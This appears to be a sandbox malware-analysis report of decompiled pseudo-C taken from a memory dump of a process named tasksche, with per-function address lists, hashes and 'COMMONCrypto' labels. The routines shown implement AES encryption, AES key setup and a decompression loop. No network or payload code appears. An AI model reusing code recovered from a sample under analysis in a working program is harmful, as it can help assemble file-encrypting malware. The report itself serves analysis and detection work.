										_t166 = _t166 + 4;
										__eflags = _t134 - 0xf;
										if(_t134 < 0xf) {
											continue;
										}
										goto L28;
									}
									_t174 = _t134;
									goto L28;
								}
								_t167 = 0x10;
								_t122 = _t94 >> _t167 - _t133;
								_t170 = ( *(_t122 + _t182 + 0x88) & 0x000000ff) +  *(_t186 + 4);
								 *_t186 =  *_t186 + (_t170 >> 3);
								 *(_t186 + 4) = _t170 & 0x00000007;
								_t98 =  *(_t182 + 0x488 + _t122 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = _v8;
							__eflags =  *_t186 -  *((intOrPtr*)(_t162 + 0x78)) - 5;
							if( *_t186 <=  *((intOrPtr*)(_t162 + 0x78)) - 5) {
								goto L20;
							}
							_t116 = E004123EB(_t136, _t162);
							__eflags = _t116;
							if(_t116 == 0) {
								L53:
								_t111 = 0;
								L55:
								L56:
								return _t111;
							}
							goto L20;
							L50:
							__eflags = _a8 - 0x1ae;
						} while (_a8 < 0x1ae);
						L51:
						__eflags =  *((char*)(_t186 + 8));
						_t183 = _v8;
						if(__eflags != 0) {
							L54:
							_t187 = _a12;
							E0041284B(__eflags,  &_v460, _t187, 0x132);
							E0041284B(__eflags,  &_v154, _t187 + 0xeec, 0x40);
							E0041284B(__eflags,  &_v90, _t187 + 0x1dd8, 0x10);
							__eflags = _t187 + 0x2cc4;
							E0041284B(_t187 + 0x2cc4,  &_v74, _t187 + 0x2cc4, 0x2c);
							_t111 = 1;
							goto L55;
						}
						__eflags =  *_t186 -  *((intOrPtr*)(_t183 + 0x78));
						if(__eflags <= 0) {
							goto L54;
						}
						goto L53;
					}
					__eflags =  *_t186 -  *((intOrPtr*)(__ecx + 0x78)) - 0x19;
					if( *_t186 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
						goto L5;
					}
					_t111 = E004123EB(__ebx, __ecx);
					__eflags = _t111;
					if(_t111 == 0) {
						goto L56;
					}
					goto L5;
				}
				return 1;
			}

0x0041462b
0x0041463b
0x0041463e
0x00414648
0x0041464b
0x0041464f
0x00414668
0x00414668
0x00414668
0x00414668
0x0041466c
0x0041466e
0x0041467c
0x0041467f
0x00414684
0x00414687
0x004146ce
0x00000000
0x004146ce
0x00414697
0x0041469a
0x0041469f
0x004146a1
0x004146ad
0x004146c2
0x004146c2
0x004146c4
0x00000000
0x00000000
0x004146b0
0x004146b1
0x004146b5
0x00000000
0x00000000
0x004146ba
0x004146ba
0x004146ba
0x004146bd
0x004146bd
0x004146c6
0x00000000
0x004146c6
0x004146a6
0x004146d2
0x004146d2
0x004146d5
0x004146d5
0x004146e3
0x004146ee
0x004146f3
0x004146f3
0x004146f3
0x004146f7
0x004146f7
0x004146fb
0x00414717
0x00414719
0x0041471e
0x00414724
0x00414729
0x0041472d
0x0041475a
0x0041475b
0x0041475c
0x0041475e
0x00414775
0x00414778
0x0041477f
0x00414782
0x00414785
0x0041478c
0x00414791
0x00414795
0x00414797
0x00414799
0x00414799
0x00414799
0x0041479b
0x004147a3
0x004147a3
0x004147a6
0x004147ba
0x004147bd
0x004147bf
0x00414816
0x00414833
0x00414833
0x00414836
0x00414818
0x00414822
0x00414825
0x00414825
0x0041483a
0x00414859
0x00414859
0x0041485b
0x00000000
0x00000000
0x00414841
0x00414842
0x00414849
0x00000000
0x00000000
0x0041484e
0x0041484e
0x0041484e
0x00414851
0x00414851
0x00000000
0x00414859
0x004147c1
0x004147c4
0x004147e1
0x004147e1
0x004147e4
0x004147c6
0x004147d0
0x004147d3
0x004147d3
0x004147e8
0x004147ed
0x004147f0
0x004147f2
0x00414810
0x00414810
0x00414812
0x00000000
0x00000000
0x004147f6
0x004147f7
0x004147fc
0x00000000
0x00000000
0x00414805
0x0041480c
0x0041480c
0x0041480d
0x0041480d
0x00414814
0x00000000
0x004147f2
0x004147ab
0x004147ae
0x00000000
0x004147ae
0x00414760
0x00414764
0x00414764
0x00414766
0x00000000
0x00000000
0x00414768
0x00414769
0x0041476c
0x0041476f
0x00000000
0x00000000
0x00000000
0x00414771
0x00414773
0x00000000
0x00414773
0x00414731
0x00414734
0x0041473e
0x00414746
0x0041474b
0x0041474e
0x00000000
0x0041474e
0x004146fd
0x00414706
0x00414708
0x00000000
0x00000000
0x0041470a
0x0041470f
0x00414711
0x0041487a
0x0041487a
0x004148d6
0x004148d8
0x00000000
0x004148d8
0x00000000
0x0041485d
0x0041485d
0x0041485d
0x0041486a
0x0041486a
0x0041486e
0x00414871
0x0041487e
0x0041487e
0x00414890
0x004148a7
0x004148bb
0x004148c2
0x004148cf
0x004148d4
0x00000000
0x004148d4
0x00414875
0x00414878
0x00000000
0x00000000
0x00000000
0x00414878
0x00414657
0x00414659
0x00000000
0x00000000
0x0041465b
0x00414660
0x00414662
0x00000000
0x00000000
0x00000000
0x00414662
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction ID: 3d3811311c0e96151038b15cdb33c9c3baef1538c920ea216c41a1bce0e780a6
Opcode Fuzzy Hash: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction Fuzzy Hash: DC812731600644ABDB14EF29C590BFD73A5EB92318F20842FE9569B2C2C77CD9C2CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB23 Relevance: .2, Instructions: 231
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040CB23(void* __ebx, char* __ecx, char _a4, unsigned int _a8, signed int* _a12) {
				intOrPtr _v8;
				signed int _v9;
				signed int _v10;
				signed int _v11;
				signed int _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed int _v17;
				signed int _v18;
				signed int _v19;
				signed int _v20;
				signed int _v21;
				signed int _v22;
				signed int _v23;
				signed int _v24;
				char _v25;
				char _v26;
				char _v27;
				signed int _v28;
				char _v29;
				char _v30;
				char _v31;
				signed int _v32;
				char _v33;
				char _v34;
				char _v35;
				signed int _v36;
				char _v37;
				char _v38;
				char _v39;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				void* __edi;
				void* __esi;
				unsigned int _t204;
				signed int _t236;
				void* _t311;
				signed int* _t312;
				unsigned int _t342;
				intOrPtr* _t344;
				char* _t346;

				_t311 = __ebx;
				_t204 = _a8;
				_t346 = __ecx;
				if(_t204 > 0) {
					_t342 = _t204 >> 4;
					if( *__ecx == 0) {
						_v8 = __ecx + 8;
						E0041C290(__ebx, _t342, __ecx,  &_v56, __ecx + 8, 0x10);
						_a8 = _t342;
						if(_t342 > 0) {
							_t344 = _a4;
							_push(_t311);
							_t312 = _a12;
							do {
								E0040C43B( &_v24, _t344, ( *(_t346 + 4) << 4) + _t346 + 0x18);
								_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
								_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
								_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
								_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
								_t236 =  *(_t346 + 4) - 1;
								if(_t236 > 1) {
									_a12 = (_t236 << 4) + _t346 + 0x18;
									_a4 = _t236 - 1;
									do {
										E0040C43B( &_v24,  &_v40, _a12);
										_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
										_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
										_a12 = _a12 - 0x10;
										_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
										_t127 =  &_a4;
										 *_t127 = _a4 - 1;
										_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
									} while ( *_t127 != 0);
								}
								E0040C43B( &_v24,  &_v40, _t346 + 0x28);
								_v40 =  *((intOrPtr*)((_v24 & 0x000000ff) + 0x438600));
								_v39 =  *((intOrPtr*)((_v11 & 0x000000ff) + 0x438600));
								_v38 =  *((intOrPtr*)((_v14 & 0x000000ff) + 0x438600));
								_v37 =  *((intOrPtr*)((_v17 & 0x000000ff) + 0x438600));
								_t146 = (_v20 & 0x000000ff) + 0x438600; // 0x8239e37c
								_v36 =  *_t146;
								_v35 =  *((intOrPtr*)((_v23 & 0x000000ff) + 0x438600));
								_v34 =  *((intOrPtr*)((_v10 & 0x000000ff) + 0x438600));
								_v33 =  *((intOrPtr*)((_v13 & 0x000000ff) + 0x438600));
								_t158 = (_v16 & 0x000000ff) + 0x438600; // 0xa340bf38
								_v32 =  *_t158;
								_v31 =  *((intOrPtr*)((_v19 & 0x000000ff) + 0x438600));
								_v30 =  *((intOrPtr*)((_v22 & 0x000000ff) + 0x438600));
								_v29 =  *((intOrPtr*)((_v9 & 0x000000ff) + 0x438600));
								_t170 = (_v12 & 0x000000ff) + 0x438600; // 0xd56a0952
								_v28 =  *_t170;
								_v27 =  *((intOrPtr*)((_v15 & 0x000000ff) + 0x438600));
								_v26 =  *((intOrPtr*)((_v18 & 0x000000ff) + 0x438600));
								_v25 =  *((intOrPtr*)((_v21 & 0x000000ff) + 0x438600));
								E0040C43B( &_v40,  &_v40, _t346 + 0x18);
								if( *((char*)(_t346 + 1)) != 0) {
									E0040C43B( &_v40,  &_v40,  &_v56);
								}
								_v56 =  *_t344;
								_v52 =  *((intOrPtr*)(_t344 + 4));
								_v48 =  *((intOrPtr*)(_t344 + 8));
								_v44 =  *((intOrPtr*)(_t344 + 0xc));
								 *_t312 = _v40;
								_t312[1] = _v36;
								_t312[2] = _v32;
								_t312[3] = _v28;
								_t344 = _t344 + 0x10;
								_t312 =  &(_t312[4]);
								_t200 =  &_a8;
								 *_t200 = _a8 - 1;
							} while ( *_t200 != 0);
							_pop(_t311);
						}
						_t204 = E0041C290(_t311, _t342, _t346, _v8,  &_v56, 0x10);
					} else {
						_t204 = E0040C46D(__ecx, _a4, _t342, _a12);
					}
				}
				return _t204;
			}

0x0040cb23
0x0040cb26
0x0040cb2d
0x0040cb31
0x0040cb3e
0x0040cb40
0x0040cb59
0x0040cb60
0x0040cb68
0x0040cb6d
0x0040cb73
0x0040cb76
0x0040cb77
0x0040cb7a
0x0040cb8a
0x0040cbbf
0x0040cbee
0x0040cc1d
0x0040cc48
0x0040cc4e
0x0040cc52
0x0040cc62
0x0040cc65
0x0040cc68
0x0040cc73
0x0040cca8
0x0040ccd7
0x0040cd06
0x0040cd0a
0x0040cd35
0x0040cd35
0x0040cd38
0x0040cd38
0x0040cc68
0x0040cd4d
0x0040cd5c
0x0040cd69
0x0040cd76
0x0040cd83
0x0040cd8a
0x0040cd90
0x0040cd9d
0x0040cdaa
0x0040cdb7
0x0040cdbe
0x0040cdc4
0x0040cdd1
0x0040cdde
0x0040cdeb
0x0040cdf2
0x0040cdf8
0x0040ce05
0x0040ce12
0x0040ce1f
0x0040ce2b
0x0040ce34
0x0040ce3f
0x0040ce3f
0x0040ce46
0x0040ce4c
0x0040ce52
0x0040ce58
0x0040ce5e
0x0040ce63
0x0040ce69
0x0040ce6f
0x0040ce72
0x0040ce75
0x0040ce78
0x0040ce78
0x0040ce78
0x0040ce81
0x0040ce81
0x0040ce8b
0x0040cb42
0x0040cb49
0x0040cb49
0x0040ce93
0x0040ce96

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction ID: 755fc568a246bd0a3aab6df15388740ae6706893d1001b075bd9344283f82762
Opcode Fuzzy Hash: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction Fuzzy Hash: FFC151B48182D9AECF01DFA5D4A09FEBFF4AF1A240B0950DAE5D5A7252C234D720DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040C756 Relevance: .2, Instructions: 195
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C756() {
				signed char _v8;
				char _v521;
				signed int _t98;
				signed int _t100;
				signed int _t102;
				signed char _t105;
				signed char _t106;
				char _t107;
				void* _t108;
				signed char _t119;
				signed int _t120;
				signed int _t129;
				signed char* _t155;
				signed int _t156;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				signed int _t181;
				signed int _t182;
				void* _t183;

				_t107 = 0;
				_t98 = 1;
				do {
					 *(_t183 + _t107 - 0x304) = _t98;
					 *(_t183 + _t107 - 0x205) = _t98;
					 *((char*)(_t183 + _t98 - 0x104)) = _t107;
					_t107 = _t107 + 1;
					asm("sbb edx, edx");
					_t98 = _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b ^ _t98 + _t98;
				} while (_t98 != 1);
				_t108 = 0;
				do {
					asm("sbb edx, edx");
					 *(_t108 + 0x4385e0) = _t98;
					_t98 = _t98 + _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b;
					_t108 = _t108 + 1;
				} while (_t108 < 0x1e);
				_t105 = 0;
				_v8 = 0;
				L6:
				L6:
				if(_t105 == 0) {
					_t100 = 0;
				} else {
					_t100 =  *( &_v521 - ( *(_t183 + (_t105 & 0x000000ff) - 0x104) & 0x000000ff)) & 0x000000ff;
				}
				_t119 = (_t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100)) >> 0x00000008 ^ _t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) ^ 0x00000063;
				_t102 = _t105 * 4;
				_t16 = _t102 + 0x4375e0; // 0x4375e0
				_t155 = _t16;
				 *(_t105 + 0x438700) = _t119;
				_t155[1] = _t119;
				 *_t155 = _t119;
				 *(_t102 + 0x4379e3) = _t119;
				 *(_t102 + 0x4379e0) = _t119;
				 *(_t102 + 0x437de3) = _t119;
				 *(_t102 + 0x437de2) = _t119;
				 *(_t102 + 0x4381e2) = _t119;
				 *(_t102 + 0x4381e1) = _t119;
				if(_t119 == 0) {
					_t156 = 0;
				} else {
					_t156 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x2eb) & 0x000000ff;
				}
				 *(_t102 + 0x4375e3) = _t156;
				 *(_t102 + 0x4379e2) = _t156;
				 *(_t102 + 0x437de1) = _t156;
				 *(_t102 + 0x4381e0) = _t156;
				if(_t119 == 0) {
					_t120 = 0;
				} else {
					_t120 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x303) & 0x000000ff;
				}
				 *(_t102 + 0x4375e2) = _t120;
				 *(_t102 + 0x4379e1) = _t120;
				 *(_t102 + 0x437de0) = _t120;
				 *(_t102 + 0x4381e3) = _t120;
				_t181 = _t105 & 0x000000ff;
				if((((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) ^ 0x00000005) == 0) {
					_t106 = 0;
				} else {
					_t106 =  *((intOrPtr*)( &_v521 - ( *(_t183 + (((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 & 0x000000ff ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) & 0x000000ff ^ 0x00000005) - 0x104) & 0x000000ff)));
				}
				 *(_v8 + 0x438600) = _t106;
				if(_t106 == 0) {
					_t161 = 0;
				} else {
					_t161 =  *(_t183 + ( *(_t183 + (_t106 & 0x000000ff) - 0x104) & 0x000000ff) - 0x29c) & 0x000000ff;
				}
				_t182 = _t106 & 0x000000ff;
				_t129 = _t182 << 2;
				 *(_t102 + 0x4365e2) = _t161;
				 *(_t102 + 0x4369e1) = _t161;
				 *(_t102 + 0x436de0) = _t161;
				 *(_t102 + 0x4371e3) = _t161;
				 *(_t129 + 0x4355e2) = _t161;
				 *(_t129 + 0x4359e1) = _t161;
				 *(_t129 + 0x435de0) = _t161;
				 *(_t129 + 0x4361e3) = _t161;
				if(_t106 == 0) {
					_t162 = 0;
				} else {
					_t162 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x23d) & 0x000000ff;
				}
				 *(_t102 + 0x4365e0) = _t162;
				 *(_t102 + 0x4369e3) = _t162;
				 *(_t102 + 0x436de2) = _t162;
				 *(_t102 + 0x4371e1) = _t162;
				 *(_t129 + 0x4355e0) = _t162;
				 *(_t129 + 0x4359e3) = _t162;
				 *(_t129 + 0x435de2) = _t162;
				 *(_t129 + 0x4361e1) = _t162;
				if(_t106 == 0) {
					_t163 = 0;
				} else {
					_t163 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x216) & 0x000000ff;
				}
				 *(_t102 + 0x4365e1) = _t163;
				 *(_t102 + 0x4369e0) = _t163;
				 *(_t102 + 0x436de3) = _t163;
				 *(_t102 + 0x4371e2) = _t163;
				 *(_t129 + 0x4355e1) = _t163;
				 *(_t129 + 0x4359e0) = _t163;
				 *(_t129 + 0x435de3) = _t163;
				 *(_t129 + 0x4361e2) = _t163;
				if(_t106 == 0) {
					_t164 = 0;
				} else {
					_t164 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x225) & 0x000000ff;
				}
				_v8 = _v8 + 1;
				 *(_t102 + 0x4365e3) = _t164;
				 *(_t102 + 0x4369e2) = _t164;
				 *(_t102 + 0x436de1) = _t164;
				 *(_t102 + 0x4371e0) = _t164;
				 *(_t129 + 0x4355e3) = _t164;
				 *(_t129 + 0x4359e2) = _t164;
				 *(_t129 + 0x435de1) = _t164;
				 *(_t129 + 0x4361e0) = _t164;
				if(_v8 < 0x100) {
					goto L5;
				}
				return _t102;
				L5:
				_t105 = _v8;
				goto L6;
			}

0x0040c763
0x0040c765
0x0040c76c
0x0040c774
0x0040c77b
0x0040c782
0x0040c789
0x0040c78c
0x0040c795
0x0040c797
0x0040c79c
0x0040c79f
0x0040c7a9
0x0040c7ab
0x0040c7b5
0x0040c7b7
0x0040c7b8
0x0040c7bd
0x0040c7bf
0x00000000
0x0040c7c7
0x0040c7c9
0x0040c7e3
0x0040c7cb
0x0040c7de
0x0040c7de
0x0040c7fd
0x0040c800
0x0040c807
0x0040c807
0x0040c80d
0x0040c813
0x0040c816
0x0040c818
0x0040c81e
0x0040c824
0x0040c82a
0x0040c830
0x0040c836
0x0040c83c
0x0040c853
0x0040c83e
0x0040c849
0x0040c849
0x0040c855
0x0040c85b
0x0040c861
0x0040c867
0x0040c86f
0x0040c886
0x0040c871
0x0040c87c
0x0040c87c
0x0040c888
0x0040c88e
0x0040c894
0x0040c89a
0x0040c8a0
0x0040c8bb
0x0040c8ef
0x0040c8bd
0x0040c8eb
0x0040c8eb
0x0040c8f4
0x0040c8fc
0x0040c913
0x0040c8fe
0x0040c909
0x0040c909
0x0040c915
0x0040c91a
0x0040c91d
0x0040c923
0x0040c929
0x0040c92f
0x0040c935
0x0040c93b
0x0040c941
0x0040c947
0x0040c94f
0x0040c963
0x0040c951
0x0040c959
0x0040c959
0x0040c965
0x0040c96b
0x0040c971
0x0040c977
0x0040c97d
0x0040c983
0x0040c989
0x0040c98f
0x0040c997
0x0040c9ab
0x0040c999
0x0040c9a1
0x0040c9a1
0x0040c9ad
0x0040c9b3
0x0040c9b9
0x0040c9bf
0x0040c9c5
0x0040c9cb
0x0040c9d1
0x0040c9d7
0x0040c9df
0x0040c9f3
0x0040c9e1
0x0040c9e9
0x0040c9e9
0x0040c9f5
0x0040c9ff
0x0040ca05
0x0040ca0b
0x0040ca11
0x0040ca17
0x0040ca1d
0x0040ca23
0x0040ca29
0x0040ca2f
0x00000000
0x00000000
0x0040ca38
0x0040c7c4
0x0040c7c4
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction ID: cc05d4957c3f93bbff5645bcbd2bf23a73745bdaee5f26767fd414b38deba9ac
Opcode Fuzzy Hash: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction Fuzzy Hash: 7281E35220E2E18EE71AC73C14E96F63FA11F72100B2EA2EEC4CD4F6D7D665051AD729

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4FF Relevance: .2, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C4FF(intOrPtr __ecx, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int* _v12;
				signed char* _v16;
				signed char* _v20;
				signed char* _v24;
				signed char* _v28;
				char _v40;
				signed int _v41;
				signed int _v42;
				signed int _v43;
				signed int _v44;
				signed char _v45;
				signed char _v46;
				signed char _v47;
				signed char _v48;
				char _v56;
				signed int _v57;
				signed int _v58;
				signed int _v59;
				signed int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t102;
				signed int _t104;
				signed char _t108;
				signed int _t119;
				signed int* _t135;
				signed int* _t136;
				signed int _t137;
				char* _t138;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t142;
				void* _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				void* _t151;
				void* _t157;

				_t141 = __ecx;
				_v8 = __ecx;
				_t119 =  *((intOrPtr*)(__ecx + 4)) - 6;
				E0041C290(_t119, __ecx, _t147,  &_v60, _a4, 0x20);
				_t102 = 0;
				_t140 = 0;
				_a4 = 0;
				if(_t119 <= 0) {
					L9:
					if(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						_t104 = _t119 << 2;
						_v16 = _t157 + _t104 - 0x3b;
						_v20 = _t157 + _t104 - 0x3a;
						_v24 = _t157 + _t104 - 0x39;
						_v28 = _t157 + _t104 - 0x3c;
						_v12 = 0x4385e0;
						do {
							_t108 = _v60 ^  *(( *_v16 & 0x000000ff) + 0x438700);
							_v60 = _t108;
							_v59 = _v59 ^  *(( *_v20 & 0x000000ff) + 0x438700);
							_v58 = _v58 ^  *(( *_v24 & 0x000000ff) + 0x438700);
							_v57 = _v57 ^  *(( *_v28 & 0x000000ff) + 0x438700);
							_t102 = _t108 ^  *_v12;
							_v12 =  &(_v12[0]);
							_v60 = _t102;
							if(_t119 == 8) {
								_t135 =  &_v56;
								_t142 = 3;
								do {
									_t148 = 4;
									do {
										 *_t135 =  *_t135 ^  *(_t135 - 4);
										_t135 =  &(_t135[0]);
										_t148 = _t148 - 1;
									} while (_t148 != 0);
									_t142 = _t142 - 1;
								} while (_t142 != 0);
								_v44 = _v44 ^  *((_v48 & 0x000000ff) + 0x438700);
								_v43 = _v43 ^  *((_v47 & 0x000000ff) + 0x438700);
								_v42 = _v42 ^  *((_v46 & 0x000000ff) + 0x438700);
								_v41 = _v41 ^  *((_v45 & 0x000000ff) + 0x438700);
								_t136 =  &_v40;
								_t143 = 3;
								do {
									_t149 = 4;
									do {
										_t102 =  *((intOrPtr*)(_t136 - 4));
										 *_t136 =  *_t136 ^ _t102;
										_t136 =  &(_t136[0]);
										_t149 = _t149 - 1;
									} while (_t149 != 0);
									_t143 = _t143 - 1;
								} while (_t143 != 0);
								goto L26;
							} else {
								if(_t119 > 1) {
									_t138 =  &_v56;
									_t145 = _t119 - 1;
									do {
										_t151 = 0;
										do {
											_t102 =  *((intOrPtr*)(_t138 + _t151 - 4));
											 *(_t138 + _t151) =  *(_t138 + _t151) ^ _t102;
											_t151 = _t151 + 1;
										} while (_t151 < 4);
										_t138 = _t138 + 4;
										_t145 = _t145 - 1;
									} while (_t145 != 0);
									L26:
									_t141 = _v8;
								}
							}
							_t137 = 0;
							if(_t119 <= 0) {
								goto L36;
							} else {
								while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
									if(_t137 < _t119) {
										_t102 = _t157 + _t137 * 4 - 0x38;
										while(_a4 < 4) {
											_t137 = _t137 + 1;
											_t102 = _t102 + 4;
											_a4 = _a4 + 1;
											asm("movsd");
											_t141 = _v8;
											if(_t137 < _t119) {
												continue;
											}
											goto L33;
										}
									}
									L33:
									if(_a4 == 4) {
										_t140 = _t140 + 1;
										_a4 = _a4 & 0x00000000;
									}
									if(_t137 < _t119) {
										continue;
									} else {
										goto L36;
									}
									goto L37;
								}
							}
							goto L37;
							L36:
						} while (_t140 <=  *((intOrPtr*)(_t141 + 4)));
					}
				} else {
					while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						if(_t102 < _t119) {
							_t139 = _t157 + _t102 * 4 - 0x38;
							while(_a4 < 4) {
								_t102 = _t102 + 1;
								_t139 = _t139 + 4;
								_a4 = _a4 + 1;
								asm("movsd");
								_t141 = _v8;
								if(_t102 < _t119) {
									continue;
								}
								goto L6;
							}
						}
						L6:
						if(_a4 == 4) {
							_t140 = _t140 + 1;
							_a4 = _a4 & 0x00000000;
						}
						if(_t102 < _t119) {
							continue;
						} else {
							goto L9;
						}
						goto L37;
					}
				}
				L37:
				return _t102;
			}

0x0040c50d
0x0040c516
0x0040c519
0x0040c51c
0x0040c521
0x0040c526
0x0040c52a
0x0040c52d
0x0040c56f
0x0040c572
0x0040c57a
0x0040c581
0x0040c588
0x0040c593
0x0040c596
0x0040c599
0x0040c5a0
0x0040c5a9
0x0040c5b2
0x0040c5be
0x0040c5cd
0x0040c5dc
0x0040c5e2
0x0040c5e4
0x0040c5e7
0x0040c5ed
0x0040c613
0x0040c616
0x0040c617
